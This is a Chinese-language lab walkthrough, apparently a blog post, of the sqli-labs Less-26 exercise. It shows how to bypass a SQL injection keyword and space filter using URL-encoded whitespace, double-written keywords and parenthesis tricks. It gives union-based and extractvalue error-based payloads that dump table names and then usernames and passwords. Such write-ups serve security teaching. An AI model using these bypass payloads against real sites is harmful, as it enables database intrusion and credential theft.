绕过手段
1.使用+号代替空格
2.使用URL编码代替空格
Spaces ------------------%20
TAB 09 horizontal TAB --------%09
LF OA newline ----------------%0A
FF 0C new page ----------------%0C
CR 0D carriage return ----------%0B
-OA-(MySQL only)---------------%A0
#案例演示 (URL编码绕过)
sqli-labs-master/Less-26/
查看源码
做了一个黑名单的过滤,从代码中可以看出过滤的非常的严格了
1.判断是否有注入点
首先我们在url给一个参数
页面回显正常
随便丢一个符号进行页面报错
''1'' LIMIT 0,1' at line 1
'1'' LIMIT 0,1
单引号为我们输入的内容
确定闭合方式'单引号闭合
url:?id=1' and 1=1 #
从页面给我们回显的情况来看,我们输入的空格和and 和#号都被过滤掉了
本来我们输入的是1'and 1=1#
到数据就变成了
1'1=1
绕过思路:
空格替换成url的编码:%A0
and我们采用双写绕过: anandd
注释符我们替换成手工闭合的方式:使用'闭合
未使用url原语句:
?id=1' anandd '1'='1
url绕过语句:
?id=1'%A0anandd%A0'1'='1
页面正常
从蓝色部分可以看出,我们输入url的 空格语句被带入进去了
未使用url原语句:
?id=1' anandd '1'='2
url绕过语句:
?id=1'%A0anandd%A0'1'='2
页面报错存在注入点
2.确定字段数
sqli-labs-master/Less-26这一关还是使用group by 不断输入多长的字段依旧正常回显
我们依旧使用union select 1,2,3,4....这种方式来查询字段
url:?id=1'%A0union%A0select%A01,2%A0anandd%A0'1'='1
页面报错
url:?id=1'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1
当尝试到3的时候页面正常回显。
确定一共三个字段
3.确定显示的字段数
url: ?id=-1'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1
我们从蓝色部分显示的字段来看,他把我们输入的-号给过滤了
我们原来是?id=-1
被他过滤后?id=1
使得我们看不懂显示的字段
url: ?id=0'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1
既然把-号给过滤了,那我们就写0
带入数据库执行,页面正常回显
确定显示在页面的字段1,2
4.确定数据库名
?id=0'%A0union%A0select%A01,(database()),3%A0anandd%A0'1'='1
页面回显数据库名未security
5.获取数据表
url:
?id=0'%A0union%A0select%A01,(select%A0group_concat(table_name)
from%A0infoorrmation_schema.tables%A0where%A0table_schema=database()),
3%A0anandd%A0'1'='1
确定数据表为
emails,referers,uagents,users
6.获取users数据表的所有字段
url:
?id=0'%A0union%A0select%A01,(select%A0group_concat(column_name)
from%A0infoorrmation_schema.columns%A0where%A0table_schema=database()%A0ANandD%A0table_name='users'),
3%A0anandd%A0'1'='1字段为
id,username,password
7.拖库
url:
?id=0'%A0union%A0select%A01,(select%A0group_concat(username,'^^',passwoorrd)from%A0security.users),3%A0ANANDD'1'='1
在有些场景下,空格还是过滤的十分严格我们没有办法突然,我们就可以使用报错注入,不写空格去绕过
#案例演示 (报错注入绕过)
sqli-labs-master/Less-26/
获取数据库
?id=0'||extractvlue('~',concat(database()))||'1'='1
解析
写一个不存在的id使用or去判断,当后面的条件满足的时返回,最后使用||'1'='1进行闭合
||'1'='1=or '1'='1只是为了闭合!!!!
当前数据库为security
获取数据表名
?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))
from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1这里注意不能使用空格,一定要把空格的地方用括号进行替代
'~emails,referers,uagents,users'
为数据表
获取users数据表的字段信息
?id=0'||extractvalue(1,concat('~',(select(group_concat(column_name))
from(infoorrmation_schema.columns)where(table_schema=database())
anandd(table_name='users'))))||'1'='1
id,username,password'
三个字段
拖库
?id=0'||extractvalue(1,concat('~',
(substr((select(group_concat(username,':',passwoorrd))from(security.users)),1,30))))||'1'='1
Mysql基本知识-报错注入之extractvalue注入_extractvalue mysql_DDosG的博客-CSDN博客
报错注入参考